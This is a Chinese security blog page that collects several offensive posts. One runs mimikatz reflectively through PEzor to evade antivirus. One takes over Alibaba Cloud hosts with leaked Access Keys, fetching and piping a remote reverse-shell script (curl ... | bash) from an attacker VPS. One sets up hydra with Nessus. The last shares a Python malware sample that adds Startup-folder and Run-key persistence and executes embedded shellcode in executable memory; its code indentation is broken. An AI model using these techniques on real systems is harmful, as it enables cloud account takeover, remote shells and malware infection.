0x3

【转载】PEzor和inject.x64.exe结合运行mimikatz

作者: ANONYMOUS
时间: 2020-10-29
分类: ANONYMOUS
评论

https://github.com/phra/PEzor 主要是用于通过反射来执行exe或shellcode，从而来绕过AV。
PEzor的安装和配置我略过不讲。如果不会的话，可以去头条搜索海阳顶端看我的介绍文章。

inject.x64.exe来源于哪呢？来源于metasploit-frameworkexternalsourceexploitscve-2015-0016bin。

生成reflective-dll。
./PEzor -format=reflective-dll mimikatz.exe -z 2 -p '"token::whoami" "exit"'

改名为reflective_dll.x64.dll和inject.x64.exe在同一目录。
执行inject.x64.exe

【转载】利用Access Key拿下阿里云主机

作者: ANONYMOUS
时间: 2020-10-26
分类: ANONYMOUS
评论

最近在HW中有攻击队使用Access Key拿下阿里云ECS服务器的案例，来总结一下利用的过程。

为什么要上云

首先要说说为什么许多企业开始选择将服务部署在云上。90年代初期甚至中期的时候，企业自己养开发人员，IT部门自己开发、自己实施、自己培训、自己运维、自己客服支持，甚至布网线、修打印机万金油。后来企业软件需要的技术越来越复杂，功能越来越复杂，企业就养不起那么多专业的开发人员了，就开始购买外部的商业软件公司的软件产品和实施支持服务了。（抄自知乎）

对于中小企业来说，服务器落地在本地意味着更高的成本、更高的风险，将网络环境直接部署到云环境中可以极大的降低此类成本
大型企业拥有专业的生产、安全等团队，上云的需求主要由本身的业务带动，并没有那么急迫。

云的概念

云服务本身分为三种，Laas\PaaS\SaaS
IaaS: Infrastructure-as-a-Service（基础设施即服务）
PaaS: Platform-as-a-Service（平台即服务）
SaaS: Software-as-a-Service（软件即服务）

具体就不展开了，网上有很多详细的解释，不是本篇的重点略过了

公有云、私有云、混合云

公有云
阿里云就属于公有云，依托阿里进行日常维护，高可靠性、低维护成本、扩展性强。

私有云
私有云指的是厂商分给专供某家企业独家使用的云服务，可以自定义硬件规格。使用私有云的通常为政企、金融等大型单位。它会比公有云更加安全；扩展性、定制化程度更高。

混合云
混合云就是公有云和私有云的混合，对外系统可以分布在公有云上对公网开发，而内部的数据库等敏感系统放在私有云上只有自己可以访问。

通过Access Key拿阿里云具体流程

通过各种途径去收集一波Access Key,比较常见的方法：

APK文件中存放Access Key Web页面/JS文件等 Github查找目标关键字发现Access Key与AccessKey Secret 拥有WebShell低权限的情况下搜集阿里云Access Key利用

github还是比较多的，可以改动一下关键字进行搜索

找到后如果可以确认为阿里云主机则可以继续开始后续步骤

（来自 https://www.moonsec.com/archives/1098）

拿到AK后使用阿里官方的管理工具：行云管家可以通过导入AK获得一个云主机实例

导入云主机实例

登陆行云管家：https://yun.cloudbility.com/
在创建团队后导入一个公有云主机

填入Access Key、AccessKey Secret就可以完成导入
那么进来之后来到基础运维，可以直接重置云主机的密码，实现接管

当然作为正义的安服仔我们是不会干出这种事情的（走投无路也不是不行），这时候就需要提到阿里云的一个接口：OpenAPI Explorer.通过该接口可以直接操作让云主机执行命令

大佬整理的感觉会是比较常用的命令：

操作接口

接口中我们主要会用到两个函数：CreateCommand和InvokeCommand，可以直接搜索使用

第一个函数的作用是生成一条指令，第二个函数则是调用这个命令。
简略的展示一下调用过程：CreateCommand.py->生成Commandid->使用Commandid生成InvokeCommand.py->执行InvokeCommand.py实现RCE

选择CreateCommand，RegionId选择主机所在地区（可以在行云管家中看到），Name可以随便填，Type指的是执行那类命令，windows主机可以使用powershell和bat、linux主机可以使用sh脚本。这里不理解的地方可以点击右上角的小问号查看帮助。

然后CommandContent填的就是需要执行的命令的Base64

我们愉快的填入bash反弹shell的脚本，然后就可以点击右边的python选项，然后点击“调试”按钮

然后在下方会弹出一个Cloud shell，并自动安装所欲要的类库

通过vim ./CreateCommand.py修改脚本中的Access Key与AccessKey Secret参数，需要注意的是这里要删掉本来存在的中括号等字符

(这么黑我也没办法)

修改完后保存退出，执行python CreateCommand.py，获得Commandid

在创建完命令后，需要去调用这条命令。选择InvokeCommand，填入RegionId，CommandId（就是刚刚执行完获得的），InstanceId（云主机实例id：在行云管家中可以看到）

填完后还是在右边选择python，并且选择“调试”，见上图。此时Cloud shell会创建一个InvokeCommand.py。同样的先通过vim命令修改Access Key与AccessKey Secret,然后执行python InvokeCommand.py，命令也就成功在云主机上执行了
然后！就出现了坑爹的情况，bash反弹被拦了。

那么这个时候我们就要重新调用CreateCommand、InvokeCommand去尝试哪些命令可以过，这里放最后成功反弹的payload：curl "http://xxxx:8080/bash_shell.sh" | bash。bash_shell.sh里放的还是之前的bash反弹shell的命令

那么在我们自己的vps上用python起一个8080端口的http服务，然后放个反弹bash的sh在上面，然后nc开启监听，使用上面的payload再CreateCommand->InvokeCommand来一次，成功收到反弹回来的shell

http:

nc:

后话：

到这里通过AK拿下阿里云主机就复现完了，也是有遇到几个坑但是总的来说利用过程还是比较方便的。如果可以拿到阿里云主机的Access Key的话，利用该接口去getshell或许也是个不错的选择
此次试验中只复现了linux主机的利用过程，windows的话只是利用的命令会改变，其他流程都是相同的
另外这种攻击手段并不仅限于阿里云主机，还有比如Amazon的AWS主机也存在相似的利用手法，但是Amazon获取到的AccessKey权限并没有像阿里云那么大，阿里可以直接获取OSS和ECS主机信息，而Amazon通过IAM创建用户和组来限制AccessKey的权限。

参考文章：云渗透思路、从报错信息泄露到使用ECS接口执行命令反弹shell

Nessus集成hydra

作者: ANONYMOUS
时间: 2020-10-15
分类: ANONYMOUS
评论

https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra/releases

1.安装hydra

依赖包：

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libmemcached-dev libgpg-error-dev libgcrypt11-dev libgcrypt20-dev

wget https://github.com/vanhauser-thc/thc-hydra/archive/v9.1.tar.gz --no-check-certificate

tar zxf v9.1.tar.gz

cd thc-hydra-9.1

./configure

make

make install

hydra –v（验证安装是否成功）

2.联动Nessus

ln -s /usr/local/bin/hydra /usr/bin/hydra

service nessusd stop

/opt/nessus/sbin/nessusd -R

service nessusd start

某py样本分享

作者: ANONYMOUS
时间: 2020-09-25
分类: ANONYMOUS
评论

看样本，这个生成出来的要被防护软件拦吧。

# -*- coding:utf-8 -*-
from ctypes import *

import ctypes
import re
import struct
import string
import binascii
import win32con
import win32api
import os
import sys
import pythoncom
import win32com.client as client
import hashlib
import time

def createShortCut(filename):  # 目前创建的无起始位置 - No starting position currently created
"""filename should be abspath, or there will be some strange errors"""
try:
    # 设置快捷方式的起始位置，此处设置为windows启动目录 - Set the starting position of the shortcut, here is set to the windows startup directory
    working_directory = os.getenv(
        'USERPROFILE') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\'
    # 创建快捷方式的目标绝对路径 - The absolute path of the target to create the shortcut
    lnkname = working_directory + filename + '.lnk'
    # 要创建快捷方式的文件的绝对路径，此处是获取当前路径 - The absolute path of the file to create the shortcut, here is the current path
    filename = os.path.dirname(os.path.realpath(sys.argv[0])) + '\\' + filename
    shortcut = client.Dispatch("WScript.Shell").CreateShortCut(lnkname)
    shortcut.TargetPath = filename
    shortcut.save()
    print('配置开机自启') # Configure auto start
    except Exception as e:
    print(e.args)

   def set_shortcut(filename):  # 如无需特别设置图标，则可去掉iconname参数 - If you don’t need to set the icon, you can remove the iconname parameter
print(filename)
try:
    from win32com.shell import shell
    from win32com.shell import shellcon
    iconname = ""
    # 设置快捷方式的起始位置，此处设置为windows启动目录 - Set the starting position of the shortcut, here is set to the windows startup directory
    working_directory = os.getenv(
        'USERPROFILE') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\'
    # 创建快捷方式的目标绝对路径 - The absolute path of the target to create the shortcut
    lnkname = working_directory + filename + '.lnk'
    print(lnkname)    
    # 要创建快捷方式的文件的绝对路径，此处是获取当前路径 - The absolute path of the file to create the shortcut, here is the current path
    #filename = os.path.dirname(os.path.realpath(sys.argv[0])) + '\\' + filename
    shortcut = pythoncom.CoCreateInstance(
        shell.CLSID_ShellLink, None,
        pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
    #shortcut.SetPath(filename)
    shortcut.SetPath(sys.argv[0])
    # 设置快捷方式的起始位置, 不然会出现找不到辅助文件的情况 - Set the starting position of the shortcut, otherwise the auxiliary file will not be found
    shortcut.SetWorkingDirectory(working_directory)
    # 可有可无，没有就默认使用文件本身的图标 - Optional, if not, use the icon of the file itself by default
    shortcut.SetIconLocation(iconname, 0)
    if os.path.splitext(lnkname)[-1] != '.lnk':
        lnkname += ".lnk"
    shortcut.QueryInterface(pythoncom.IID_IPersistFile).Save(lnkname, 0)

    return True
except Exception as e:
    print(e.args)
    return False

  def addfile2autorun(name):
  try:
    runpath = "Software\Microsoft\Windows\CurrentVersion\Run"
    hKey = win32api.RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, runpath, 0, win32con.KEY_SET_VALUE)
    win32api.RegSetValueEx(hKey, name, 0, win32con.REG_SZ, sys.argv[0])
    win32api.RegCloseKey(hKey)
  except Exception as e:
  pass
 def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr: 
    raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
    raise Exception("Failed to set protection on buffer")
return addr

def main():

buf =  b""
buf += b"\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5"
buf += b"\x81\xc3\x93\x45\x00\x00\xff\xd3\x81\xc3\x66\x62\x02"
buf += b"\x00\x53\x6a\x04\x50\xff\xd0\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e"
buf += b"\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21"
buf += b"\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20"
buf += b"\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e"
buf += b"\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e"
buf += b"\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00\x49\x9c"
buf += b"\x6e\x3a\x0d\xfd\x00\x69\x0d\xfd\x00\x69\x0d\xfd\x00"
buf += b"\x69\x4b\xac\xe1\x69\x29\xfd\x00\x69\x4b\xac\xdf\x69"
buf += b"\x1a\xfd\x00\x69\x4b\xac\xe0\x69\x8e\xfd\x00\x69\x0d"
buf += b"\xfd\x01\x69\xce\xfd\x00\x69\x04\x85\x93\x69\x1c\xfd"
buf += b"\x00\x69\x04\x85\x83\x69\x0c\xfd\x00\x69\x00\xaf\xe0"
buf += b"\x69\x17\xfd\x00\x69\x00\xaf\xdc\x69\x0c\xfd\x00\x69"
buf += b"\x00\xaf\xde\x69\x0c\xfd\x00\x69\x52\x69\x63\x68\x0d"
buf += b"\xfd\x00\x69\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf += b"\x00\x50\x45\x00\x00\x4c\x01\x04\x00\x3c\x97\x52\x5f"
buf += b"\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x02\x21\x0b"
buf += b"\x01\x0c\x00\x00\xf6\x01\x00\x00\xe6\x00\x00\x00\x00"
buf += b"\x00\x00\xaa\x38\x01\x00\x00\x10\x00\x00\x00\x10\x02"


bufmd5 = get_md5_value(buf)  
set_shortcut("windows.dll-" + bufmd5)
addfile2autorun("windows.dll-" + bufmd5)

#libc = CDLL('libc.so.6')

PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 6669999999999999999999999999999999999==6669999999999999999999999999999999999:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
print ".................................."*666
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
#进程不能退出 - Process cannot exit
while True:
    time.sleep(1)

def get_md5_value(src):
myMd5 = hashlib.md5()
myMd5.update(src)
myMd5_Digest = myMd5.hexdigest()
return myMd5_Digest

if __name__ == '__main__':
main()

【转载】PEzor和inject.x64.exe结合运行mimikatz

【转载】利用Access Key拿下阿里云主机

Nessus集成hydra

推荐几个脑洞大开、非常有意思的刺激网站！

某py样本分享

最新文章

最近回复

分类

归档

其它